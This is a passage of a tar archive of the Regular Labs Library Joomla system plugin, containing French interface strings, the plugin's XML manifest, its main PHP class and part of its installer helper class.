RL_LOAD_MOOTOOLS_DESC="Sélectionnez cette option pour charger le script natif MooTools. Vous pouvez désactiver cette option si vous rencontrez des conflits avec votre template ou d'autres extensions chargeant leur propre version de MooTools."
RL_LOAD_STYLESHEET="Charger les styles css"
RL_LOAD_STYLESHEET_DESC="Sélectionnez 'Oui' pour utiliser la feuille de style par défaut de l'extension.<br>Attention: si vous sélectionnez 'Non', les éléments seront très probablement affichés sans les styles permettant de comprendre leur fonction, à moins que ces styles soient chargés par une autre feuille de style (du template par exemple).<br>Si vous souhaitez adapter les styles par défaut, sélectionnez 'Non' après avoir intégré toutes les classes nécessaires de ces styles dans un autre fichier CSS chargé dans la page."
RL_LOW="Faible"
RL_LTR="De gauche à droite"
; RL_MATCH_ALL="Match All"
; RL_MATCH_ALL_DESC="Select to only let the assignment pass if all of the selected items are matched."
RL_MATCHING_METHOD="Méthode de diffusion"
; RL_MATCHING_METHOD_DESC="Should all or any assignments be matched?<br><br><strong>[[%1:all%]]</strong><br>[[%2:all description%]]<br><br><strong>[[%3:any%]]</strong><br>[[%4:any description%]]"
RL_MAX_LIST_COUNT="Nombre maximum dans la liste"
RL_MAX_LIST_COUNT_DESC="Nombre maximum d'éléments à afficher dans les listes à sélection multiple. Si le nombre total des éléments est plus élevé, le champ de sélection sera affiché comme un champ texte.<br>Vous pouvez diminuer ce nombre si vos temps de chargement sont trop longs en raison du nombre élevé d'éléments dans les listes."
; RL_MAX_LIST_COUNT_INCREASE="Increase Maximum List Count"
; RL_MAX_LIST_COUNT_INCREASE_DESC="There are more than [[%1:max%]] items.<br><br>To prevent slow pages this field is displayed as a textarea instead of a dynamic select list.<br><br>You can increase the '[[%2:max setting%]]' in the Regular Labs Library plugin settings."
RL_MAXIMIZE="Agrandir"
RL_MEDIA_VERSIONING="Utilisez Media Versioning"
RL_MEDIA_VERSIONING_DESC="Sélectionnez cette option pour ajouter le numéro de version de l'extension à la fin des urls des médias (js/css) pour forcer les navigateurs à charger le fichier correct."
RL_MEDIUM="Moyenne"
RL_MENU_ITEMS="Eléments de menus"
RL_MENU_ITEMS_DESC="Sélectionnez les éléments de menu à affecter."
RL_META_KEYWORDS="Meta Mots clés"
RL_META_KEYWORDS_DESC="Indiquez les mots-clés trouvés dans les meta keywords du cotenu. Utilisez des virgules pour séparer les mots-clés."
RL_MIJOSHOP="MijoShop"
RL_MINIMIZE="Réduire"
RL_MOBILE_BROWSERS="Explorateurs mobiles"
RL_MOD="Module"
RL_MONTHS="Mois"
RL_MONTHS_DESC="Sélectionnez le mois à affecter."
RL_MORE_INFO="Plus d'informations"
; RL_MY_STRING="My string!"
; RL_N_ITEMS_ARCHIVED="%s items archived."
; RL_N_ITEMS_ARCHIVED_1="%s item archived."
; RL_N_ITEMS_CHECKED_IN_0="No items checked in."
; RL_N_ITEMS_CHECKED_IN_1="%d item checked in."
; RL_N_ITEMS_CHECKED_IN_MORE="%d items checked in."
; RL_N_ITEMS_DELETED="%s items deleted."
; RL_N_ITEMS_DELETED_1="%s item deleted."
; RL_N_ITEMS_FEATURED="%s items featured."
; RL_N_ITEMS_FEATURED_1="%s item featured."
; RL_N_ITEMS_PUBLISHED="%s items published."
; RL_N_ITEMS_PUBLISHED_1="%s item published."
; RL_N_ITEMS_TRASHED="%s items trashed."
; RL_N_ITEMS_TRASHED_1="%s item trashed."
; RL_N_ITEMS_UNFEATURED="%s items unfeatured."
; RL_N_ITEMS_UNFEATURED_1="%s item unfeatured."
; RL_N_ITEMS_UNPUBLISHED="%s items unpublished."
; RL_N_ITEMS_UNPUBLISHED_1="%s item unpublished."
RL_N_ITEMS_UPDATED="%d éléments mis à jour."
RL_N_ITEMS_UPDATED_1="Un élément a été mis à jour"
RL_NEW_CATEGORY="Nouvelle catégorie"
RL_NEW_CATEGORY_ENTER="Indiquez le nom de la nouvelle catégorie à créer."
RL_NEW_VERSION_AVAILABLE="Nouvelle version disponible"
RL_NEW_VERSION_OF_AVAILABLE="Une nouvelle version de %s est disponible"
RL_NO_ICON="Pas d'icône"
RL_NO_ITEMS_FOUND="Pas d'éléments trouvés."
RL_NORMAL="Normal"
RL_NORTHERN="Nord"
RL_NOT="Non"
RL_ONLY="Uniquement"
; RL_ONLY_AVAILABLE_IN_JOOMLA="Only available in Joomla %s or higher."
RL_ONLY_AVAILABLE_IN_PRO="<em>Uniquement disponible dans la version PRO!</em>"
RL_ONLY_AVAILABLE_IN_PRO_LIST_OPTION="(Uniquement disponible dans la version PRO)"
RL_ONLY_VISIBLE_TO_ADMIN="Ce message sera uniquement affiché aux (super) administrateurs."
RL_OPTION_SELECT="- Sélectionner -"
RL_OPTION_SELECT_CLIENT="- Sélection Client -"
RL_OS="Systèmes d'exploitation"
RL_OS_DESC="Sélectionnez les système d'exploitation à assigner. Garder à l'esprit que la détection du système d'exploitation n'est pas garantie à 100&#37;. Les utilisateurs peuvent configurer leur explorateur pour simuler un autre système d'exploitation."
; RL_OTHER="Other"
RL_OTHER_AREAS="Autres zones"
RL_OTHER_OPTIONS="Autres options"
RL_OTHER_SETTINGS="Autres réglages"
RL_OTHERS="Autres"
RL_PAGE_TYPES="Types de pages"
RL_PAGE_TYPES_DESC="Sélectionnez sur quels types de pages l'affectation doit être active."
RL_PHP="PHP personnalisé"
RL_PHP_DESC="Entrez un morceau de code PHP à évaluer. Le code doit retourner la valeur 'true' ou 'false'.<br>Par exemple:<br>$user = JFactory:&thinsp;:getUser();<br>[[%1:code%]]"
RL_PLACE_HTML_COMMENTS="Afficher les commentaires"
RL_PLACE_HTML_COMMENTS_DESC="Par défaut, les commentaires HTML sont affichés à la suite de cette extension.<br>Ces commentaires peuvent vous aider à régler des problèmes lorsque vous n'obtenez pas ce qui devrait être.<br>Si vous souhaitez ne pas afficher ces commentaires, mettez cette option sur 'Non'."
; RL_PLG_ACTIONLOG="Action Log Plugin"
RL_PLG_EDITORS-XTD="Plugin bouton de l'éditeur"
RL_PLG_FIELDS="Champ du plugin"
RL_PLG_SYSTEM="Plugin Système"
RL_POSTALCODES="Codes Postaux"
RL_POSTALCODES_DESC="Liste des codes postaux (12345) ou des plages de codes postaux (12300-12500) séparés par une virgule.<br>Ceci ne peut être utilisé que pour [[%1:start link%]]un nombre limité de pays et d'adresses IP[[%2:end link%]]."
RL_POWERED_BY="Généré par %s"
RL_PRODUCTS="Produits"
RL_PUBLISHED_DESC="Désactiver temporairement cet élément."
RL_PUBLISHING_ASSIGNMENTS="Publication d'affectations"
RL_PUBLISHING_SETTINGS="Publier les éléments"
RL_RANDOM="Aléatoire"
RL_REDSHOP="RedShop"
RL_REGIONS="Régions / Etats"
RL_REGIONS_DESC="Sélectionnez les régions/états à assigner."
RL_REGULAR_EXPRESSIONS="Utiliser les expressions régulières"
RL_REGULAR_EXPRESSIONS_DESC="Sélectionnez pour traiter les valeurs en tant qu'expressions régulières."
RL_REMOVE_IN_DISABLED_COMPONENTS="Tronquer la syntaxe si inactif"
RL_REMOVE_IN_DISABLED_COMPONENTS_DESC="Sélectionnez 'Oui' pour supprimer les balises du plug-in dans le code des pages des composants pour lesquels la prise en charge de la syntaxe a été désactivée (voir paramètre ci-dessus)."
; RL_RESIZE_IMAGES="Resize Images"
RL_RESIZE_IMAGES_CROP="Recadrage"
; RL_RESIZE_IMAGES_CROP_DESC="The resized image will always have the set width and height."
; RL_RESIZE_IMAGES_DESC="If selected, resized images will be automatically created for images if they do not exist yet. The resized images will be created using below settings."
; RL_RESIZE_IMAGES_FILETYPES="Only on Filetypes"
; RL_RESIZE_IMAGES_FILETYPES_DESC="Select the filetypes to do resizing on."
RL_RESIZE_IMAGES_FOLDER="Dossier"
; RL_RESIZE_IMAGES_FOLDER_DESC="The folder containing the resized images. This will be a subfolder of the folder containing your original images."
; RL_RESIZE_IMAGES_HEIGHT_DESC="Set the height of the resized image in pixels (ie 180)."
; RL_RESIZE_IMAGES_NO_HEIGHT_DESC="The Height will be calculated based on the Width defined above and the aspect ratio of the original image."
; RL_RESIZE_IMAGES_NO_WIDTH_DESC="The Width will be calculated based on the Height defined below and the aspect ratio of the original image."
; RL_RESIZE_IMAGES_QUALITY="JPG Quality"
; RL_RESIZE_IMAGES_QUALITY_DESC="The quality of the resized images. Choose from Low, Medium or High. The higher the quality, the larger the resulting files.<br>This only affects jpeg images."
; RL_RESIZE_IMAGES_SCALE="Scale"
; RL_RESIZE_IMAGES_SCALE_DESC="The resized image will be resized to the maximum width or height maintaining its aspect ratio."
; RL_RESIZE_IMAGES_SCALE_USING="Scale using fixed..."
; RL_RESIZE_IMAGES_SCALE_USING_DESC="Select whether to resize images using the maximum width or height. The other dimension will be calculated based on the aspect ratio of the original image."
; RL_RESIZE_IMAGES_TYPE="Resize Method"
; RL_RESIZE_IMAGES_TYPE_DESC="Set the type of resizing."
RL_RESIZE_IMAGES_USE_WIDTH_OR_HEIGHT="Set"
; RL_RESIZE_IMAGES_USE_WIDTH_OR_HEIGHT_DESC="Select whether to resize images using the maximum width or height."
; RL_RESIZE_IMAGES_WIDTH_DESC="Set the width of the resized image in pixels (ie 320)."
RL_RTL="De droite à gauche"
RL_SAVE_CONFIG="Après avoir sauvegarder les options, il n'apparaîtra plus lors du chargement de la page."
RL_SEASONS="Saisons"
RL_SEASONS_DESC="Sélectionnez la saison à affecter."
RL_SELECT="Sélectionner"
RL_SELECT_A_CATEGORY="Sélectionner une catégorie"
RL_SELECT_ALL="Sélectionner tout"
RL_SELECT_AN_ARTICLE="Sélectionnez un article"
RL_SELECTED="Sélectionné(e)"
RL_SELECTION="Sélection"
RL_SELECTION_DESC="Sélectionnez pour inclure ou exclure la sélection pour l'assignation.<br><br><strong>Inclure</strong><br>Publier uniquement dans la sélection.<br><br><strong>Exclure</strong><br>Publier partout sauf dans la sélection."
RL_SETTINGS_ADMIN_MODULE="Options du module d'administration"
RL_SETTINGS_EDITOR_BUTTON="Paramètres du bouton"
RL_SETTINGS_SECURITY="Paramètres de sécurité"
RL_SHOW_ASSIGNMENTS="Options d'assignation"
RL_SHOW_ASSIGNMENTS_DESC="Sélectionnez si vous souhaitez uniquement visualiser les assignations sélectionnées. Ceci vous permet d'avoir un vision claire des assignations actives."
RL_SHOW_ASSIGNMENTS_SELECTED_DESC="Tous les types d'assignation noon-sélectionnés sont maintenant cachés."
RL_SHOW_COPYRIGHT="Afficher le Copyright"
RL_SHOW_COPYRIGHT_DESC="Si sélectionné, des informations complémentaires quant au copyright seront affichées dans les vues d'administration. Les extensions Regular Labs n'affichent jamais d'informations de copyright ou des backlinks en frontend."
; RL_SHOW_HELP_MENU="Show Help Menu Item"
; RL_SHOW_HELP_MENU_DESC="Select to show a link to the Regular Labs website in the Administrator Help menu."
RL_SHOW_ICON="Montrer l'icone du bouton"
RL_SHOW_ICON_DESC="Si sélectionné, l'icone apparaîtra dans le bouton de l'éditeur."
RL_SHOW_UPDATE_NOTIFICATION="Afficher les notifications de mises à jour"
RL_SHOW_UPDATE_NOTIFICATION_DESC="Si sélectionné, une notification de mise à jour sera affichée dans la fenêtre principale du composant lorsqu'une nouvelle version est disponible."
RL_SIMPLE="Simple"
RL_SLIDES="Diapositives"
RL_SOUTHERN="Sud"
; RL_SPECIFIC="Specific"
RL_SPRING="Printemps"
RL_START="Démarrer"
RL_START_PUBLISHING="Début de publication"
RL_START_PUBLISHING_DESC="Entrez la date de début de publication"
RL_STRIP_SURROUNDING_TAGS="Enlever les balises HTML"
RL_STRIP_SURROUNDING_TAGS_DESC="Sélectionnez cette option pour supprimer systématiquement les balises HTML (div, p, span) entourant la balise du plug-in. Si désactivé, le plugin va essayer de supprimer lui-même les balises qui cassent la structure html (comme p à l'intérieur de balises p)."
RL_STYLING="Styles"
RL_SUMMER="Été"
RL_TABLE_NOT_FOUND="La table %s requise en base de données n'a pas été trouvée!"
RL_TABS="Onglets"
RL_TAG_CHARACTERS="Caractères des tags"
RL_TAG_CHARACTERS_DESC="Caractères d'encadrement des balises de tags.<br><strong>Attention:</strong> si vous modifiez ce paramètre, tous les tags déjà existants ne fonctionneront plus."
RL_TAG_SYNTAX="Syntaxe des tags"
RL_TAG_SYNTAX_DESC="Syntaxe des balises de tags.<br><strong>Attention:</strong> si vous modifiez ce paramètre, tous les tags déjà existants ne fonctionneront plus."
RL_TAGS="Etiquettes"
RL_TAGS_DESC="Indiquez les étiquettes à assigner. Utilisez des virgules pour les séparer."
RL_TEMPLATES="Templates"
RL_TEMPLATES_DESC="Sélectionnez les templates à affecter."
RL_TEXT="Texte"
RL_TEXT_HTML="Texte (HTML)"
RL_TEXT_ONLY="Texte seul"
RL_THIS_EXTENSION_NEEDS_THE_MAIN_EXTENSION_TO_FUNCTION="Cette extension a besoin de %s pour fonctionner correctement!"
RL_TIME="Heure"
RL_TIME_FINISH_PUBLISHING_DESC="Entrez l' heure de fin de publication.<br><br><strong>Format:</strong> 23:59"
RL_TIME_START_PUBLISHING_DESC="Entrez l' heure de début de publication.<br><br><strong>Format:</strong> 23:59"
RL_TOGGLE="Basculer"
RL_TOOLTIP="Info-bulle"
RL_TOP="Haut"
RL_TOTAL="total"
RL_TYPES="Types"
RL_TYPES_DESC="Sélectionnez les types auxquels assigner."
RL_UNSELECT_ALL="Désélectionner tout"
RL_UNSELECTED="Non sélectionné(e)"
RL_UPDATE_TO="Mettre à jour vers la version %s"
RL_URL="URLs"
; RL_URL_PARAM_NAME="Parameter Name"
; RL_URL_PARAM_NAME_DESC="Enter the name of the url parameter."
RL_URL_PARTS="URL Affectées"
RL_URL_PARTS_DESC="Entrer (la partie de) l'URL à affecter.<br>Utiliser une nouvelle ligne pour chaque URL différente."
RL_URL_PARTS_REGEX="Les segments d'URL seront comparés en utilisant des expressions. <strong>Assurez-vous que la chaîne utilise une syntaxe regex valide.</strong>"
RL_USE_CONTENT_ASSIGNMENTS="Pour les assignations des catégories et articles, voir la section du contenu Joomla! ci-dessus."
RL_USE_CUSTOM_CODE="Utiliser du code personnalisé"
RL_USE_CUSTOM_CODE_DESC="Sélectionnez 'Oui' pour remplacer le code inséré par le bouton par celui que vous spécifiez dans le champ qui s'affiche ci-dessous après sélection du 'Oui'."
RL_USE_SIMPLE_BUTTON="Simple bouton"
RL_USE_SIMPLE_BUTTON_DESC="Sélectionnez cette option pour utiliser un simple bouton d'insertion n'insèrant qu'une syntaxe exemple dans l'éditeur."
RL_USER_GROUP_LEVELS="Groupes d'utilisateurs"
RL_USER_GROUPS="Groupes d'utilisateurs"
RL_USER_GROUPS_DESC="Sélectionnez les groupes d'utilisateurs auxquels assigner"
RL_USER_IDS="IDs des utilisateurs"
RL_USER_IDS_DESC="Entrez les IDs des utilisateurs à affecter. Utilisez des virgules pour séparer les IDs."
RL_USERS="Utilisateurs"
RL_UTF8="UTF-8"
RL_VIDEO="Vidéo"
RL_VIEW="Vue"
RL_VIEW_DESC="Sélectionnez la vue par défaut à utiliser lors de la création d'un nouvel élément."
RL_VIRTUEMART="VirtueMart"
RL_WIDTH="largeur"
RL_WINTER="Hiver"
RL_ZOO="ZOO"
RL_ZOO_CATEGORIES="Categories ZOO"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                       system/regularlabs/regularlabs.xml                                                                  0000705                 00000003544 15242051521 0013421 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.9" type="plugin" group="system" method="upgrade">
	<name>plg_system_regularlabs</name>
	<description>PLG_SYSTEM_REGULARLABS_DESC</description>
	<version>19.8.23191</version>
	<creationDate>August 2019</creationDate>
	<author>Regular Labs (Peter van Westen)</author>
	<authorEmail>info@regularlabs.com</authorEmail>
	<authorUrl>https://www.regularlabs.com</authorUrl>
	<copyright>Copyright © 2018 Regular Labs - All Rights Reserved</copyright>
	<license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>

	<scriptfile>script.install.php</scriptfile>

	<files>
		<filename plugin="regularlabs">regularlabs.php</filename>
		<filename>script.install.helper.php</filename>
		<folder>language</folder>
		<folder>src</folder>
		<folder>vendor</folder>
	</files>

	<config>
		<fields name="params" addfieldpath="/libraries/regularlabs/fields">
			<fieldset name="basic">
				<field name="@header" type="rl_header_library"
					   label="REGULAR_LABS_LIBRARY"
					   description="REGULAR_LABS_LIBRARY_DESC"
					   warning="REGULAR_LABS_LIBRARY_DESC_WARNING" />
			</fieldset>

			<fieldset name="advanced">
				<field name="combine_admin_menu" type="radio" class="btn-group" default="0"
					   label="RL_COMBINE_ADMIN_MENU"
					   description="RL_COMBINE_ADMIN_MENU_DESC">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="show_help_menu" type="radio" class="btn-group" default="1"
					   label="RL_SHOW_HELP_MENU"
					   description="RL_SHOW_HELP_MENU_DESC">
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field name="max_list_count" type="number" size="10" class="input-mini" default="10000"
					   label="RL_MAX_LIST_COUNT"
					   description="RL_MAX_LIST_COUNT_DESC" />
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                            system/regularlabs/regularlabs.php                                                                  0000705                 00000011033 15242051521 0013400 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package         Regular Labs Library
 * @version         19.8.23191
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2019 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Plugin\CMSPlugin as JPlugin;
use Joomla\CMS\Uri\Uri as JUri;
use Joomla\Registry\Registry;
use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\Parameters as RL_Parameters;
use RegularLabs\Library\Uri as RL_Uri;
use RegularLabs\Plugin\System\RegularLabs\AdminMenu as RL_AdminMenu;
use RegularLabs\Plugin\System\RegularLabs\DownloadKey as RL_DownloadKey;
use RegularLabs\Plugin\System\RegularLabs\QuickPage as RL_QuickPage;
use RegularLabs\Plugin\System\RegularLabs\SearchHelper as RL_SearchHelper;

if ( ! is_file(__DIR__ . '/vendor/autoload.php'))
{
	return;
}

require_once __DIR__ . '/vendor/autoload.php';

if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
	require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}

JFactory::getLanguage()->load('plg_system_regularlabs', __DIR__);

class PlgSystemRegularLabs extends JPlugin
{
	public function onAfterRoute()
	{
		if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
		{
			if (JFactory::getApplication()->isClient('administrator'))
			{
				JFactory::getApplication()->enqueueMessage('The Regular Labs Library folder is missing or incomplete: ' . JPATH_LIBRARIES . '/regularlabs', 'error');
			}

			return;
		}

		RL_DownloadKey::update();

		RL_SearchHelper::load();

		RL_QuickPage::render();
	}

	public function onAfterDispatch()
	{
		if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
		{
			return;
		}

		if ( ! RL_Document::isAdmin(true) || ! RL_Document::isHtml()
		)
		{
			return;
		}

		RL_Document::loadMainDependencies();
	}

	public function onAfterRender()
	{
		if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
		{
			return;
		}

		if ( ! RL_Document::isAdmin(true) || ! RL_Document::isHtml()
		)
		{
			return;
		}

		$this->fixQuotesInTooltips();

		RL_AdminMenu::combine();

		RL_AdminMenu::addHelpItem();
	}

	private function fixQuotesInTooltips()
	{
		$html = JFactory::getApplication()->getBody();

		if ($html == '')
		{
			return;
		}

		if (strpos($html, '&amp;quot;rl_code&amp;quot;') === false)
		{
			return;
		}

		$html = str_replace('&amp;quot;rl_code&amp;quot;', '&quot;rl_code&quot;', $html);

		JFactory::getApplication()->setBody($html);
	}

	public function onInstallerBeforePackageDownload(&$url, &$headers)
	{
		$uri  = JUri::getInstance($url);
		$host = $uri->getHost();

		if (
			strpos($host, 'regularlabs.com') === false
			&& strpos($host, 'nonumber.nl') === false
		)
		{
			return true;
		}

		$uri->setScheme('https');
		$uri->setHost('download.regularlabs.com');
		$uri->delVar('pro');
		$url = $uri->toString();

		$params = RL_Parameters::getInstance()->getComponentParams('regularlabsmanager');

		if (empty($params) || empty($params->key))
		{
			return true;
		}

		$uri->setVar('k', $params->key);
		$url = $uri->toString();

		return true;
	}

	public function onAjaxRegularLabs()
	{
		$input = JFactory::getApplication()->input;

		$format = $input->getString('format', 'json');

		$attributes = RL_Uri::getCompressedAttributes();
		$attributes = new Registry($attributes);

		$field      = $attributes->get('field');
		$field_type = $attributes->get('fieldtype');

		$class = $this->getAjaxClass($field, $field_type);

		if (empty($class) || ! class_exists($class))
		{
			return false;
		}

		$type = isset($attributes->type) ? $attributes->type : '';

		$method = 'getAjax' . ucfirst($format) . ucfirst($type);

		$class = new $class;

		if ( ! method_exists($class, $method))
		{
			return false;
		}

		echo $class->$method($attributes);
	}

	public function getAjaxClass($field, $field_type = '')
	{
		if (empty($field))
		{
			return false;
		}

		if ($field_type)
		{
			return $this->getFieldClass($field, $field_type);
		}

		$file = JPATH_LIBRARIES . '/regularlabs/fields/' . strtolower($field) . '.php';

		if ( ! file_exists($file))
		{
			return false;
		}

		require_once $file;

		return 'JFormFieldRL_' . ucfirst($field);
	}

	public function getFieldClass($field, $field_type)
	{
		$file = JPATH_PLUGINS . '/fields/' . strtolower($field_type) . '/fields/' . strtolower($field) . '.php';

		if ( ! file_exists($file))
		{
			return false;
		}

		require_once $file;

		return 'JFormField' . ucfirst($field);
	}
}

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     system/regularlabs/script.install.helper.php                                                        0000705                 00000053072 15242051521 0015335 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package         Regular Labs Library
 * @version         19.8.23191
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2019 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

class PlgSystemRegularLabsInstallerScriptHelper
{
	public $name              = '';
	public $alias             = '';
	public $extname           = '';
	public $extension_type    = '';
	public $plugin_folder     = 'system';
	public $module_position   = 'status';
	public $client_id         = 1;
	public $install_type      = 'install';
	public $show_message      = true;
	public $db                = null;
	public $softbreak         = null;
	public $installed_version = '';

	public function __construct(&$params)
	{
		$this->extname = $this->extname ?: $this->alias;
		$this->db      = JFactory::getDbo();
	}

	public function preflight($route, JAdapterInstance $adapter)
	{
		if ( ! in_array($route, ['install', 'update']))
		{
			return true;
		}

		JFactory::getLanguage()->load('plg_system_regularlabsinstaller', JPATH_PLUGINS . '/system/regularlabsinstaller');

		$this->installed_version = $this->getVersion($this->getInstalledXMLFile());

		if ($this->show_message && $this->isInstalled())
		{
			$this->install_type = 'update';
		}

		if ($this->onBeforeInstall($route) === false)
		{
			return false;
		}

		return true;
	}

	public function postflight($route, JAdapterInstance $adapter)
	{
		$this->removeGlobalLanguageFiles();
		$this->removeUnusedLanguageFiles();

		JFactory::getLanguage()->load($this->getPrefix() . '_' . $this->extname, $this->getMainFolder());

		if ( ! in_array($route, ['install', 'update']))
		{
			return true;
		}

		$this->fixExtensionNames();
		$this->updateUpdateSites();
		$this->removeAdminCache();

		if ($this->onAfterInstall($route) === false)
		{
			return false;
		}

		if ($route == 'install')
		{
			$this->publishExtension();
		}

		if ($this->show_message)
		{
			$this->addInstalledMessage();
		}

		JFactory::getCache()->clean('com_plugins');
		JFactory::getCache()->clean('_system');

		return true;
	}

	public function isInstalled()
	{
		if ( ! is_file($this->getInstalledXMLFile()))
		{
			return false;
		}

		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('extension_id'))
			->from('#__extensions')
			->where($this->db->quoteName('type') . ' = ' . $this->db->quote($this->extension_type))
			->where($this->db->quoteName('element') . ' = ' . $this->db->quote($this->getElementName()));
		$this->db->setQuery($query, 0, 1);
		$result = $this->db->loadResult();

		return empty($result) ? false : true;
	}

	public function getMainFolder()
	{
		switch ($this->extension_type)
		{
			case 'plugin' :
				return JPATH_PLUGINS . '/' . $this->plugin_folder . '/' . $this->extname;

			case 'component' :
				return JPATH_ADMINISTRATOR . '/components/com_' . $this->extname;

			case 'module' :
				return JPATH_ADMINISTRATOR . '/modules/mod_' . $this->extname;

			case 'library' :
				return JPATH_SITE . '/libraries/' . $this->extname;
		}
	}

	public function getInstalledXMLFile()
	{
		return $this->getXMLFile($this->getMainFolder());
	}

	public function getCurrentXMLFile()
	{
		return $this->getXMLFile(__DIR__);
	}

	public function getXMLFile($folder)
	{
		switch ($this->extension_type)
		{
			case 'module' :
				return $folder . '/mod_' . $this->extname . '.xml';

			default :
				return $folder . '/' . $this->extname . '.xml';
		}
	}

	public function uninstallExtension($extname, $type = 'plugin', $folder = 'system', $show_message = true)
	{
		if (empty($extname))
		{
			return;
		}

		$folders = [];

		switch ($type)
		{
			case 'plugin':
				$folders[] = JPATH_PLUGINS . '/' . $folder . '/' . $extname;
				break;

			case 'component':
				$folders[] = JPATH_ADMINISTRATOR . '/components/com_' . $extname;
				$folders[] = JPATH_SITE . '/components/com_' . $extname;
				break;

			case 'module':
				$folders[] = JPATH_ADMINISTRATOR . '/modules/mod_' . $extname;
				$folders[] = JPATH_SITE . '/modules/mod_' . $extname;
				break;
		}

		if ( ! $this->foldersExist($folders))
		{
			return;
		}

		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('extension_id'))
			->from('#__extensions')
			->where($this->db->quoteName('element') . ' = ' . $this->db->quote($this->getElementName($type, $extname)))
			->where($this->db->quoteName('type') . ' = ' . $this->db->quote($type));

		if ($type == 'plugin')
		{
			$query->where($this->db->quoteName('folder') . ' = ' . $this->db->quote($folder));
		}

		$this->db->setQuery($query);
		$ids = $this->db->loadColumn();

		if (empty($ids))
		{
			foreach ($folders as $folder)
			{
				JFactory::getApplication()->enqueueMessage('2. Deleting: ' . $folder, 'notice');
				JFolder::delete($folder);
			}

			return;
		}

		$ignore_ids = JFactory::getApplication()->getUserState('rl_ignore_uninstall_ids', []);

		if (JFactory::getApplication()->input->get('option') == 'com_installer' && JFactory::getApplication()->input->get('task') == 'remove')
		{
			// Don't attempt to uninstall extensions that are already selected to get uninstalled by them selves
			$ignore_ids = array_merge($ignore_ids, JFactory::getApplication()->input->get('cid', [], 'array'));
			JFactory::getApplication()->input->set('cid', array_merge($ignore_ids, $ids));
		}

		$ids = array_diff($ids, $ignore_ids);

		if (empty($ids))
		{
			return;
		}

		$ignore_ids = array_merge($ignore_ids, $ids);
		JFactory::getApplication()->setUserState('rl_ignore_uninstall_ids', $ignore_ids);

		foreach ($ids as $id)
		{
			$tmpInstaller = new JInstaller;
			$tmpInstaller->uninstall($type, $id);
		}

		if ($show_message)
		{
			JFactory::getApplication()->enqueueMessage(
				JText::sprintf(
					'COM_INSTALLER_UNINSTALL_SUCCESS',
					JText::_('COM_INSTALLER_TYPE_TYPE_' . strtoupper($type))
				)
			);
		}
	}

	public function foldersExist($folders = [])
	{
		foreach ($folders as $folder)
		{
			if (is_dir($folder))
			{
				return true;
			}
		}

		return false;
	}

	public function uninstallPlugin($extname, $folder = 'system', $show_message = true)
	{
		$this->uninstallExtension($extname, 'plugin', $folder, $show_message);
	}

	public function uninstallComponent($extname, $show_message = true)
	{
		$this->uninstallExtension($extname, 'component', null, $show_message);
	}

	public function uninstallModule($extname, $show_message = true)
	{
		$this->uninstallExtension($extname, 'module', null, $show_message);
	}

	public function publishExtension()
	{
		switch ($this->extension_type)
		{
			case 'plugin' :
				$this->publishPlugin();

			case 'module' :
				$this->publishModule();
		}
	}

	public function publishPlugin()
	{
		$query = $this->db->getQuery(true)
			->update('#__extensions')
			->set($this->db->quoteName('enabled') . ' = 1')
			->where($this->db->quoteName('type') . ' = ' . $this->db->quote('plugin'))
			->where($this->db->quoteName('element') . ' = ' . $this->db->quote($this->extname))
			->where($this->db->quoteName('folder') . ' = ' . $this->db->quote($this->plugin_folder));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	public function publishModule()
	{
		// Get module id
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('id'))
			->from('#__modules')
			->where($this->db->quoteName('module') . ' = ' . $this->db->quote('mod_' . $this->extname))
			->where($this->db->quoteName('client_id') . ' = ' . (int) $this->client_id);
		$this->db->setQuery($query, 0, 1);
		$id = $this->db->loadResult();

		if ( ! $id)
		{
			return;
		}

		// check if module is already in the modules_menu table (meaning is is already saved)
		$query->clear()
			->select($this->db->quoteName('moduleid'))
			->from('#__modules_menu')
			->where($this->db->quoteName('moduleid') . ' = ' . (int) $id);
		$this->db->setQuery($query, 0, 1);
		$exists = $this->db->loadResult();

		if ($exists)
		{
			return;
		}

		// Get highest ordering number in position
		$query->clear()
			->select($this->db->quoteName('ordering'))
			->from('#__modules')
			->where($this->db->quoteName('position') . ' = ' . $this->db->quote($this->module_position))
			->where($this->db->quoteName('client_id') . ' = ' . (int) $this->client_id)
			->order('ordering DESC');
		$this->db->setQuery($query, 0, 1);
		$ordering = $this->db->loadResult();
		$ordering++;

		// publish module and set ordering number
		$query->clear()
			->update('#__modules')
			->set($this->db->quoteName('published') . ' = 1')
			->set($this->db->quoteName('ordering') . ' = ' . (int) $ordering)
			->set($this->db->quoteName('position') . ' = ' . $this->db->quote($this->module_position))
			->where($this->db->quoteName('id') . ' = ' . (int) $id);
		$this->db->setQuery($query);
		$this->db->execute();

		// add module to the modules_menu table
		$query->clear()
			->insert('#__modules_menu')
			->columns([$this->db->quoteName('moduleid'), $this->db->quoteName('menuid')])
			->values((int) $id . ', 0');
		$this->db->setQuery($query);
		$this->db->execute();
	}

